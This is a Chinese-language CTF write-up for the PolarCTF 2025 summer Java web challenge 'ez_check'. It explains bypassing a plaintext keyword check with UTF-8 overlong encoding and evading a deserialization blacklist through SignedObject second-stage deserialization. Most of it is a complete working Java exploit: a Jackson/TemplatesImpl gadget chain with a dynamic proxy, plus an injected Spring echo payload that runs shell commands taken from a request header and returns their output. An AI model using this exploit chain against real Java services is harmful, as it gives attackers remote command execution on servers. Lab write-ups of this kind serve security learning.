Polarctf2025夏季赛 web java ez_check

第一次自己做出一个java,值得小小的记录,polar的java真得非常友好

反编译jar包,一眼就看到有个/deserialize 路由,接受base64的序列化数据,base64解码后

经过一次kmp检查,再由SafeObjectInputStream来反序列化

看pom.xml里没有别的依赖,那就是打spring原生的jackson反序列化,思考如何绕过

大佬讲解jackson反序列化的文章
https://xz.aliyun.com/news/12412

kmp_check

kmp顾名思义就是对序列化字符串明文的检查 ,这个很容易绕,直接utf-8 overlong encoding就行

大佬实现的文章
探索Java反序列化绕WAF新姿势 - 飞书云文档 (feishu.cn)

SafeObjectInputStream_check

然后是SafeObjectInputStream,黑名单

java 复制代码
private static final Set<String> BLACKLIST = new HashSet(Arrays.asList("org.apache.commons.beanutils.BeanComparator", "javax.management.BadAttributeValueExpException", "org.apache.commons.collections4.map.AbstractHashedMap", "org.springframework.aop.target.HotSwappableTargetSource", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"));

把最后的TemplatesImpl ban了,没有ban经典的signObject,直接打signObject二次反序列化,最常用的触发toString的BadAttributeValueExpException没了,换成EventListenerList即可

需要注意的是,signObject里的序列化数据也要用utf-8 overlong ,不只是signObject,在这里卡了好一会,

如何设置呢?看signObject里触发二次反序列化的地方

就可以知道序列化数据是this.content,可以反射赋值,是private的,先setAccesible就行

还有经典的jackson 要用动态代理使链子稳定
关于java反序列化中jackson链子不稳定问题

polar的靶场不出网,打springecho

exp

java 复制代码
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;

import javax.management.BadAttributeValueExpException;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.*;
import java.net.URLEncoder;
public class SignedObjectChain {
    public static void main(String[] args) throws Exception {
        // 设置signobject内的反序列化
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{genPayload()});
        setFieldValue(templatesImpl, "_name", "hello");
        setFieldValue(templatesImpl, "_tfactory", null);
        //JdkDynamicAopProxy 动态代理 使链子稳定
        Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
        cons.setAccessible(true);
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templatesImpl);
        InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
        Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
        POJONode jsonNodes2 = new POJONode(proxyObj);
        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        setFieldValue(exp,"val",jsonNodes2);
        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        SignedObject signedObject = new SignedObject(1,privateKey,signingEngine);
        //反射设置序列化数据
        ByteArrayOutputStream b = new ByteArrayOutputStream();
        ObjectOutput a = new CustomObjectOutputStream(b);
        a.writeObject(exp);
        a.flush();
        a.close();
        setFieldValue(signedObject,"content",b.toByteArray());
        //接上EventListenerList
        POJONode jsonNodes = new POJONode(signedObject);
        EventListenerList list = new EventListenerList();
        UndoManager manager = new UndoManager();
        Vector vector = (Vector) getFieldValue(manager, "edits");
        vector.add(jsonNodes);
        setFieldValue(list, "listenerList", new Object[]{Map.class, manager});
        if(new Checker().KmpCheck(Base64.getDecoder().decode(serial(list))))
        {
            System.out.println("No");
        }
        System.out.println( URLEncoder.encode(serial(list)));
//        deserial(serial(list));
    }

    public static byte[] get_calc() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
        constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
        ctClass.addConstructor(constructor);
        return ctClass.toBytecode();
    }

    public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {

        Class clazz = obj.getClass();
        while (clazz != null) {
            try {
                Field field = clazz.getDeclaredField(fieldName);
                field.setAccessible(true);
                return field.get(obj);
            } catch (Exception e) {
                clazz = clazz.getSuperclass();
            }
        }
        return null;
    }
    public static byte[] genPayload() throws Exception{
        ClassPool classPool = ClassPool.getDefault();
        CtClass clazz = classPool.makeClass("A");
        if ((clazz.getDeclaredConstructors()).length != 0) {
            clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
        }        clazz.addConstructor(CtNewConstructor.make("public B() throws Exception {\n" +
                "                org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
                "                javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
                "                javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
                "                String[] cmd =  new String[]{\"sh\", \"-c\", httprequest.getHeader(\"C\")};\n" +
                "                byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
                "                httpresponse.getWriter().write(new String(result));\n" +
                "                httpresponse.getWriter().flush();\n" +
                "                httpresponse.getWriter().close();\n" +
                "        }", clazz));
        clazz.getClassFile().setMajorVersion(50);
        CtClass superClass = classPool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        return clazz.toBytecode();
    }
    public static String serial(Object o) throws IOException, NoSuchFieldException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        CustomObjectOutputStream coos = new CustomObjectOutputStream(baos);
        coos.writeObject(o);

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return(base64String);

    }

    public static void deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }

    private static void Base64Encode(ByteArrayOutputStream bs){
        byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
        String s = new String(encode);
        System.out.println(s);
        System.out.println(s.length());
    }
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
}
相关推荐
虾球xz5 分钟前
CppCon 2015 学习:CLANG/C2 for Windows
开发语言·c++·windows·学习
HelloWord~27 分钟前
SpringSecurity+vue通用权限系统2
java·vue.js
让我上个超影吧27 分钟前
黑马点评【基于redis实现共享session登录】
java·redis
蓝婷儿1 小时前
6个月Python学习计划 Day 17 - 继承、多态与魔术方法
开发语言·python·学习
BillKu1 小时前
Java + Spring Boot + Mybatis 插入数据后,获取自增 id 的方法
java·tomcat·mybatis
全栈凯哥1 小时前
Java详解LeetCode 热题 100(26):LeetCode 142. 环形链表 II(Linked List Cycle II)详解
java·算法·leetcode·链表
chxii1 小时前
12.7Swing控件6 JList
java
全栈凯哥1 小时前
Java详解LeetCode 热题 100(27):LeetCode 21. 合并两个有序链表(Merge Two Sorted Lists)详解
java·算法·leetcode·链表
YuTaoShao1 小时前
Java八股文——集合「List篇」
java·开发语言·list
PypYCCcccCc1 小时前
支付系统架构图
java·网络·金融·系统架构